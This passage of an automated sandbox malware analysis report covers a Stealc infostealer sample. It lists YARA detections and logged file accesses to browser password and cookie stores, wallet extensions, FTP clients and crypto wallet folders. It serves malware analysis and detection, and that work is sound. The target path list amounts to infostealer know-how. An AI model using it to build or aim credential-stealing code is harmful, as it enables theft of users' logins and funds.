Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1765472956.00000000000C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1678261591.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1I4F16VK8DFW90DXD.exe PID: 4132, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: Bire1g8ahY.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: Bire1g8ahY.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Bire1g8ahY.exe, 00000000.00000003.1459876649.0000000001341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
